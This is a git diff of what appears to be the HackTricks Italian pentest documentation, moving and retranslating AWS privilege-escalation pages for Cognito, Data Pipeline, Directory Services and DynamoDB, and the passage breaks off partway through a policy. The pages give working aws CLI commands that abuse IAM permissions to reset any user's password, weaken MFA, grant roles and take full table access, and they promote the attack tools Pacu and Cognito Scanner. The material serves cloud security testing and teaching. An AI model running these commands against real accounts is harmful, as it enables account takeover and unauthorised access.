---user-pool-id <value> \
---job-id <value>
-
-# Both options before will give you a URL where you can send the CVS file with the users to create
-curl -v -T "PATH_TO_CSV_FILE" \
--H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
-```
-(Nel caso in cui crei un nuovo lavoro di importazione, potresti anche aver bisogno del permesso iam passrole, non l'ho ancora testato).
-
-**Impatto Potenziale:** Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app essendo in grado di creare qualsiasi utente.
-
-### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-
-Un attaccante potrebbe creare un nuovo provider di identità per poi poter **accedere tramite questo provider**.
-```bash
-aws cognito-idp create-identity-provider \
---user-pool-id <value> \
---provider-name <value> \
---provider-type <value> \
---provider-details <value> \
-[--attribute-mapping <value>] \
-[--idp-identifiers <value>]
-```
-**Impatto Potenziale:** Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app essendo in grado di creare qualsiasi utente.
-
-### cognito-sync:\* Analisi
-
-Questo è un permesso molto comune per impostazione predefinita nei ruoli dei Cognito Identity Pools. Anche se un carattere jolly nei permessi sembra sempre brutto (soprattutto proveniente da AWS), i **permessi concessi non sono super utili da una prospettiva di attaccante**.
-
-Questo permesso consente di leggere informazioni sugli utenti dei Identity Pools e sugli Identity IDs all'interno dei Identity Pools (che non sono informazioni sensibili).\
-Gli Identity IDs potrebbero avere [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assegnati, che sono informazioni delle sessioni (AWS lo definisce come un **gioco salvato**). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella [**pagina di enumerazione**](../aws-services/aws-cognito-enum/) come accedere a queste informazioni.
-
-Un attaccante potrebbe anche utilizzare questi permessi per **iscriversi a uno stream Cognito che pubblica modifiche** su questi dataset o a una **lambda che si attiva su eventi cognito**. Non ho visto questo essere utilizzato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.
-
-### Strumenti Automatici
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di sfruttamento AWS, ora include i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali del pool di identità utilizzabili, ruoli assunibili nei token id, ecc.
-
-Per una descrizione delle funzioni dei moduli vedere la parte 2 del [post del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione vedere la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu).
-
-#### Utilizzo
-
-Esempio di utilizzo di cognito\_\_attack per tentare la creazione di un utente e tutti i vettori di privesc contro un dato pool di identità e client del pool utenti:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Esempio di utilizzo di cognito\_\_enum per raccogliere tutti i pool utenti, i client dei pool utenti, i pool di identità, gli utenti, ecc. visibili nell'attuale account AWS:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa un'escalation di privilegi.
-
-#### Installazione
-```bash
-$ pip install cognito-scanner
-```
-#### Utilizzo
-```bash
-$ cognito-scanner --help
-```
-Per ulteriori informazioni controlla [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
new file mode 100644
index 000000000..9c5fc508e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -0,0 +1,274 @@
+# AWS - Cognito Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Per ulteriori informazioni su Cognito consulta:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Raccolta credenziali dall'Identity Pool
+
+Poiché Cognito può fornire **IAM role credentials** sia agli **authenticated** sia agli **unauthenticated** **users**, se trovi l'**Identity Pool ID** di un'applicazione (di solito è hardcoded) puoi ottenere nuove credenziali e quindi privesc (in un AWS account in cui probabilmente non avevi alcuna credenziale precedentemente).
+
+Per maggiori informazioni [**consulta questa pagina**](../../aws-unauthenticated-enum-access/index.html#cognito).
+
+**Impatto potenziale:** Privesc diretto al ruolo di servizio assegnato agli unauth users (e probabilmente anche a quello assegnato agli auth users).
+
+### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
+
+Con questo permesso puoi **grant any cognito role** agli utenti authenticated/unauthenticated dell'app Cognito.
+```bash
+aws cognito-identity set-identity-pool-roles \
+--identity-pool-id <identity_pool_id> \
+--roles unauthenticated=<role ARN>
+
+# Get credentials
+## Get one ID
+aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+## Get creds for that id
+aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
+```
+Se l'app cognito **non ha abilitato gli utenti non autenticati** potresti aver bisogno anche del permesso `cognito-identity:UpdateIdentityPool` per abilitarli.
+
+**Impatto potenziale:** Privesc diretto su qualsiasi cognito role.
+
+### `cognito-identity:update-identity-pool`
+
+Un attacker con questo permesso potrebbe, per esempio, impostare un Cognito User Pool sotto il suo controllo o qualsiasi altro identity provider dove può effettuare il **login** come **modo per accedere a questo Cognito Identity Pool**. Successivamente, semplicemente effettuando il **login** su quel provider di utenti, potrà **accedere al ruolo authenticated configurato nell'Identity Pool**.
+```bash
+# This example is using a Cognito User Pool as identity provider
+## but you could use any other identity provider
+aws cognito-identity update-identity-pool \
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+
+# Now you need to login to the User Pool you have configured
+## after having the id token of the login continue with the following commands:
+
+# In this step you should have already an ID Token
+aws cognito-identity get-id \
+--identity-pool-id <id_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+
+# Get the identity_id from thr previous commnad response
+aws cognito-identity get-credentials-for-identity \
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+```
+È anche possibile **abusare di questo permesso per consentire basic auth**:
+```bash
+aws cognito-identity update-identity-pool \
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+--allow-unauthenticated-identities
+--allow-classic-flow
+```
+**Impatto potenziale**: Compromettere il ruolo IAM autenticato configurato all'interno dell'identity pool.
+
+### `cognito-idp:AdminAddUserToGroup`
+
+Questa autorizzazione consente di **add a Cognito user to a Cognito group**, quindi un attaccante potrebbe abusare di questa autorizzazione per aggiungere un Cognito user sotto il suo controllo ad altri Cognito group con privilegi **migliori** o **ruoli IAM differenti**:
+```bash
+aws cognito-idp admin-add-user-to-group \
+--user-pool-id <value> \
+--username <value> \
+--group-name <value>
+```
+**Impatto potenziale:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups.
+
+### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
+
+Un attacker con questi permessi potrebbe **creare/aggiornare gruppi** con **ogni IAM role che può essere usato da un Cognito Identity Provider compromesso** e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:
+```bash
+aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
+```
+**Potential Impact:** Privesc verso altri ruoli IAM di Cognito.
+
+### `cognito-idp:AdminConfirmSignUp`
+
+Questa autorizzazione permette di **verificare una registrazione**. Per impostazione predefinita chiunque può registrarsi nelle applicazioni Cognito; se ciò è permesso, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questa autorizzazione.
+```bash
+aws cognito-idp admin-confirm-sign-up \
+--user-pool-id <value> \
+--username <value>
+```
+**Impatto potenziale:** Indirect privesc al ruolo IAM dell'identity pool per gli utenti autenticati se puoi registrare un nuovo utente. Indirect privesc ad altre funzionalità dell'app, permettendo di confermare qualsiasi account.
+
+### `cognito-idp:AdminCreateUser`
+
+Questa autorizzazione permetterebbe a un attaccante di creare un nuovo utente all'interno del user pool. Il nuovo utente viene creato come enabled, ma dovrà cambiare la password.
+```bash
+aws cognito-idp admin-create-user \
+--user-pool-id <value> \
+--username <value> \
+[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
+[--validation-data <value>]
+[--temporary-password <value>]
+```
+**Potenziale impatto:** Privesc diretto al role IAM dell'identity pool per utenti autenticati. Privesc indiretto su altre funzionalità dell'app che permettono di creare qualsiasi utente
+
+### `cognito-idp:AdminEnableUser`
+
+Questa permission può essere utile in uno scenario molto raro in cui un attacker ha trovato le credenziali di un utente disabilitato e ha bisogno di **riattivarlo**.
+```bash
+aws cognito-idp admin-enable-user \
+--user-pool-id <value> \
+--username <value>
+```
+**Impatto potenziale:** privesc indiretto alla identity pool IAM role per utenti autenticati e ai permessi dell'utente se l'attaccante avesse le credenziali di un utente disabilitato.
+
+### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
+
+Questa autorizzazione consente di effettuare il login con il [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Per maggiori informazioni segui il link.
+
+### `cognito-idp:AdminSetUserPassword`
+
+Questa autorizzazione permetterebbe a un attaccante di **cambiare la password di qualsiasi utente**, consentendogli di impersonare qualsiasi utente (che non abbia MFA abilitata).
+```bash
+aws cognito-idp admin-set-user-password \
+--user-pool-id <value> \
+--username <value> \
+--password <value> \
+--permanent
+```
+**Impatto potenziale:** Privesc diretta su potenzialmente qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato dell'Identity Pool.
+
+### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
+
+**AdminSetUserSettings**: Un attacker potrebbe potenzialmente abusare di questa autorizzazione per impostare un numero di telefono mobile sotto il suo controllo come **SMS MFA of a user**.
+```bash
+aws cognito-idp admin-set-user-settings \
+--user-pool-id <value> \
+--username <value> \
+--mfa-options <value>
+```
+**SetUserMFAPreference:** Simile a quello precedente, questa permission può essere usata per impostare le preferenze MFA di un utente per bypassare la protezione MFA.
+```bash
+aws cognito-idp admin-set-user-mfa-preference \
+[--sms-mfa-settings <value>] \
+[--software-token-mfa-settings <value>] \
+--username <value> \
+--user-pool-id <value>
+```
+**SetUserPoolMfaConfig**: Simile al precedente, questo permesso può essere usato per impostare le preferenze MFA di un user pool per bypassare la protezione MFA.
+```bash
+aws cognito-idp set-user-pool-mfa-config \
+--user-pool-id <value> \
+[--sms-mfa-configuration <value>] \
+[--software-token-mfa-configuration <value>] \
+[--mfa-configuration <value>]
+```
+**UpdateUserPool:** È anche possibile aggiornare lo user pool per cambiare la MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+
+**Potential Impact:** Privesc indiretto verso potenzialmente qualsiasi utente di cui l'attaccante conosca le credenziali; questo potrebbe permettere di bypassare la protezione MFA.
+
+### `cognito-idp:AdminUpdateUserAttributes`
+
+Un attaccante con questo permesso potrebbe cambiare l'indirizzo email o il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere maggiori privilegi in un'applicazione sottostante.  
+Questo consente di modificare un'email o un numero di telefono e impostarlo come verificato.
+```bash
+aws cognito-idp admin-update-user-attributes \
+--user-pool-id <value> \
+--username <value> \
+--user-attributes <value>
+```
+**Impatto potenziale:** Potenziale privesc indiretto nell'applicazione sottostante che usa Cognito User Pool che assegna privilegi basati sugli attributi utente.
+
+### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
+
+Un attacker con questa permission potrebbe **creare un nuovo User Pool Client meno restrittivo** rispetto ai client già esistenti. Per esempio, il nuovo client potrebbe permettere qualsiasi tipo di metodo per authenticate, non avere alcun secret, avere token revocation disabilitata, permettere che i tokens siano validi per un periodo più lungo...
+
+La stessa cosa può verificarsi se, invece di creare un nuovo client, se ne **modifica uno esistente**.
+
+Nella [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (o nello [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) puoi vedere tutte le opzioni, controllale!
+```bash
+aws cognito-idp create-user-pool-client \
+--user-pool-id <value> \
+--client-name <value> \
+[...]
+```
+**Impatto potenziale:** Potenziale privesc indiretto per l'utente autorizzato dell'Identity Pool utilizzato dallo User Pool, tramite la creazione di un nuovo client che allenta le misure di sicurezza e permette a un attacker di eseguire il login con un user che è riuscito a creare.
+
+### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
+
+Un attacker potrebbe abusare di questa permission per creare utenti caricando un csv con nuovi utenti.
+```bash
+# Create a new import job
+aws cognito-idp create-user-import-job \
+--job-name <value> \
+--user-pool-id <value> \
+--cloud-watch-logs-role-arn <value>
+
+# Use a new import job
+aws cognito-idp start-user-import-job \
+--user-pool-id <value> \
+--job-id <value>
+
+# Both options before will give you a URL where you can send the CVS file with the users to create
+curl -v -T "PATH_TO_CSV_FILE" \
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+```
+(Nel caso in cui crei un nuovo import job potresti anche aver bisogno del permesso iam passrole; non l'ho ancora testato).
+
+**Impatto potenziale:** Privesc diretto al ruolo IAM dell'identity pool per utenti autenticati. Privesc indiretto verso altre funzionalità dell'app che consentono di creare qualsiasi utente.
+
+### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
+
+Un attacker potrebbe creare un nuovo identity provider per poi poter **eseguire il login tramite questo provider**.
+```bash
+aws cognito-idp create-identity-provider \
+--user-pool-id <value> \
+--provider-name <value> \
+--provider-type <value> \
+--provider-details <value> \
+[--attribute-mapping <value>] \
+[--idp-identifiers <value>]
+```
+**Potential Impact:** Privesc diretto al ruolo IAM della identity pool per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app in grado di creare qualsiasi utente.
+
+### cognito-sync:\* Analisi
+
+Questo è un permesso molto comune di default nei ruoli di Cognito Identity Pools. Anche se un carattere jolly in un permesso sembra sempre pericoloso (soprattutto se proviene da AWS), le **given permissions aren't super useful from an attackers perspective**.
+
+Questo permesso permette di leggere informazioni d'uso delle Identity Pools e degli Identity IDs all'interno delle Identity Pools (che non sono informazioni sensibili).\
+Gli Identity IDs potrebbero avere assegnati loro dei [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), che sono informazioni delle sessioni (AWS li definisce come una **partita salvata**). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) come accedere a queste informazioni.
+
+An attacker potrebbe anche usare questi permessi per **enroll himself to a Cognito stream that publish changes** su questi datases o per una **lambda that triggers on cognito events**. Non ho visto questo essere usato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.
+
+### Strumenti Automatici
+
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di exploitation per AWS, include ora i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumeration di tutti gli asset Cognito in un account e segnalano configurazioni deboli, attributi utente usati per il controllo d'accesso, ecc., e inoltre automatizzano la creazione di utenti (incluso il supporto MFA) e la privilege escalation basata su attributi custom modificabili, usable identity pool credentials, assumable roles in id tokens, ecc.
+
+Per una descrizione delle funzioni dei moduli vedi la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione vedi la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu).
+
+#### Uso
+
+Esempio di utilizzo di cognito\_\_attack per tentare la creazione di utenti e tutti i privesc vectors contro una data identity pool e user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Esempio di utilizzo di cognito\_\_enum per raccogliere tutti i user pools, user pool clients, identity pools, users, ecc. visibili nell'account AWS corrente:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) è uno strumento CLI in python che implementa diversi attacchi su Cognito, tra cui un privesc escalation.
+
+#### Installazione
+```bash
+$ pip install cognito-scanner
+```
+#### Uso
+```bash
+$ cognito-scanner --help
+```
+Per maggiori informazioni consulta [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
similarity index 62%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
index 5599bce67..16959a648 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
@@ -1,22 +1,22 @@
 # AWS - Datapipeline Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## datapipeline
 
-Per ulteriori informazioni su datapipeline controlla:
+Per maggiori informazioni su datapipeline consulta:
 
 {{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
 {{#endref}}
 
 ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
 
-Gli utenti con queste **autorizzazioni possono elevare i privilegi creando un Data Pipeline** per eseguire comandi arbitrari utilizzando le **autorizzazioni del ruolo assegnato:**
+Gli utenti con queste **autorizzazioni possono elevare i privilegi creando una Data Pipeline** per eseguire comandi arbitrari utilizzando le **autorizzazioni del ruolo assegnato:**
 ```bash
 aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
 ```
-Dopo la creazione della pipeline, l'attaccante aggiorna la sua definizione per dettare azioni specifiche o creazioni di risorse:
+Dopo la creazione della pipeline, l'attaccante aggiorna la sua definizione per dettare azioni specifiche o la creazione di risorse:
 ```json
 {
 "objects": [
@@ -50,19 +50,19 @@ Dopo la creazione della pipeline, l'attaccante aggiorna la sua definizione per d
 }
 ```
 > [!NOTE]
-> Nota che il **ruolo** nelle **righe 14, 15 e 27** deve essere un ruolo **assumibile da datapipeline.amazonaws.com** e il ruolo nella **riga 28** deve essere un **ruolo assumibile da ec2.amazonaws.com con un profilo istanza EC2**.
+> Nota che il **role** nelle **linee 14, 15 e 27** deve essere un role **assumable by datapipeline.amazonaws.com** e il role nella **linea 28** deve essere un **role assumable by ec2.amazonaws.com with a EC2 profile instance**.
 >
-> Inoltre, l'istanza EC2 avrà accesso solo al ruolo assumibile dall'istanza EC2 (quindi puoi solo rubare quello).
+> Inoltre, l'EC2 instance avrà accesso solo al role assumable by the EC2 instance (quindi puoi rubare solo quello).
 ```bash
 aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
 --pipeline-definition file:///pipeline/definition.json
 ```
-Il **file di definizione della pipeline, creato dall'attaccante, include direttive per eseguire comandi** o creare risorse tramite l'API AWS, sfruttando i permessi di ruolo del Data Pipeline per potenzialmente ottenere privilegi aggiuntivi.
+Il **file di definizione della pipeline, creato dall'attaccante, include direttive per eseguire comandi** o creare risorse tramite l'API AWS, sfruttando i permessi del ruolo di Data Pipeline per ottenere potenzialmente privilegi aggiuntivi.
 
-**Impatto Potenziale:** Privesc diretto al ruolo di servizio ec2 specificato.
+**Impatto potenziale:** Privesc diretto al ruolo di servizio ec2 specificato.
 
 ## Riferimenti
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index cc8f1367a..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Directory Services Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Servizi di Directory
-
-Per ulteriori informazioni sui servizi di directory, controlla:
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `ds:ResetUserPassword`
-
-Questo permesso consente di **cambiare** la **password** di qualsiasi **utente esistente** nell'Active Directory.\
-Per impostazione predefinita, l'unico utente esistente è **Admin**.
-```
-aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
-```
-### AWS Management Console
-
-È possibile abilitare un **application access URL** a cui gli utenti di AD possono accedere per effettuare il login:
-
-<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
-
-E poi **assegnare loro un ruolo AWS IAM** per quando effettuano il login, in questo modo un utente/gruppo AD avrà accesso alla console di gestione AWS:
-
-<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
-
-Non sembra esserci alcun modo per abilitare l'application access URL, la console di gestione AWS e concedere permessi
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
new file mode 100644
index 000000000..1c8ec6d89
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
@@ -0,0 +1,32 @@
+# AWS - Directory Services Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Directory Services
+
+Per maggiori informazioni su Directory Services controlla:
+
+{{#ref}}
+../../aws-services/aws-directory-services-workdocs-enum.md
+{{#endref}}
+
+### `ds:ResetUserPassword`
+
+Questa autorizzazione permette di **cambiare** la **password** di qualsiasi utente **esistente** in Active Directory.\
+Per impostazione predefinita, l'unico utente esistente è **Admin**.
+```
+aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
+```
+### AWS Management Console
+
+È possibile abilitare un **URL di accesso all'applicazione** che gli utenti di AD possono usare per accedere:
+
+<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
+
+E poi **assegnare loro un AWS IAM role** per quando effettuano il login, in questo modo un utente/gruppo AD avrà accesso alla AWS Management Console:
+
+<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
+
+Apparentemente non esiste alcun modo per abilitare l'URL di accesso all'applicazione, la AWS Management Console e concedere i permessi
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
deleted file mode 100644
index 72411f978..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - DynamoDB Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## dynamodb
-
-Per ulteriori informazioni su dynamodb, controlla:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### `dynamodb:PutResourcePolicy`, e opzionalmente `dynamodb:GetResourcePolicy`
-
-Dal marzo 2024, AWS offre *politiche basate sulle risorse* per DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
-
-Quindi, se hai il `dynamodb:PutResourcePolicy` per una tabella, puoi semplicemente concedere a te stesso o a qualsiasi altro principale accesso completo alla tabella.
-
-Concedere il `dynamodb:PutResourcePolicy` a un principale casuale spesso avviene per caso, se gli amministratori pensano che concedere `dynamodb:Put*` consentirebbe solo al principale di inserire elementi nel database - o se hanno concesso quel set di permessi prima di marzo 2024...
-
-Idealmente, hai anche `dynamodb:GetResourcePolicy`, così non sovrascrivi altre autorizzazioni potenzialmente vitali, ma inietti solo le autorizzazioni aggiuntive di cui hai bisogno:
-```bash
-# get the current resource based policy (if it exists) and save it to a file
-aws dynamodb get-resource-policy \
---resource-arn <table_arn> \
---query 'Policy' \
---output text > policy.json
-```
-Se non riesci a recuperare la policy attuale, usa semplicemente questa che concede accesso completo sulla tabella al tuo principale:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "FullAccessToDynamoDBTable",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
-},
-"Action": [
-"dynamodb:*"
-],
-"Resource": [
-"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
-]
-}
-]
-}
-```
-Se hai bisogno di personalizzarlo, ecco un elenco di tutte le possibili azioni DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Ecco un elenco di tutte le azioni che possono essere consentite tramite una policy basata su risorse *E quali di queste possono essere utilizzate cross-account (pensa all'exfiltrazione dei dati!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
-
-Ora, con il documento della policy `policy.json` pronto, inserisci la policy delle risorse:
-```bash
-# put the new policy using the prepared policy file
-# dynamodb does weirdly not allow a direct file upload
-aws dynamodb put-resource-policy \
---resource-arn <table_arn> \
---policy "$(cat policy.json)"
-```
-Ora dovresti avere i permessi di cui avevi bisogno.
-
-### Post Exploitation
-
-Per quanto ne so, **non c'è altro modo diretto per escalare i privilegi in AWS semplicemente avendo alcuni permessi `dynamodb` di AWS**. Puoi **leggere informazioni sensibili** dalle tabelle (che potrebbero contenere credenziali AWS) e **scrivere informazioni nelle tabelle** (che potrebbero attivare altre vulnerabilità, come le iniezioni di codice lambda...) ma tutte queste opzioni sono già considerate nella **pagina di Post Exploitation di DynamoDB**:
-
-{{#ref}}
-../aws-post-exploitation/aws-dynamodb-post-exploitation.md
-{{#endref}}
-
-### TODO: Leggere dati abusando dei data Streams
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
new file mode 100644
index 000000000..26f354495
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
@@ -0,0 +1,72 @@
+# AWS - DynamoDB Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## dynamodb
+
+Per maggiori informazioni su dynamodb consulta:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### `dynamodb:PutResourcePolicy`, e opzionalmente `dynamodb:GetResourcePolicy`
+
+Da marzo 2024, AWS offre *policy basate sulle risorse* per DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
+
+Quindi, se hai il `dynamodb:PutResourcePolicy` su una tabella, puoi semplicemente concedere a te stesso o a qualsiasi altro principal l'accesso completo alla tabella.
+
+Concedere il `dynamodb:PutResourcePolicy` a un principal casuale spesso avviene per errore, se gli amministratori pensano che concedere `dynamodb:Put*` permetta solo al principal di inserire elementi nel database — o se hanno concesso quel permissionset prima di marzo 2024...
+
+Idealmente, hai anche `dynamodb:GetResourcePolicy`, così non sovrascrivi altre autorizzazioni potenzialmente vitali, ma inietti solo le autorizzazioni aggiuntive di cui hai bisogno:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+Se non riesci a recuperare la policy corrente, usa semplicemente questa che concede l'accesso completo alla tabella al tuo principal:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
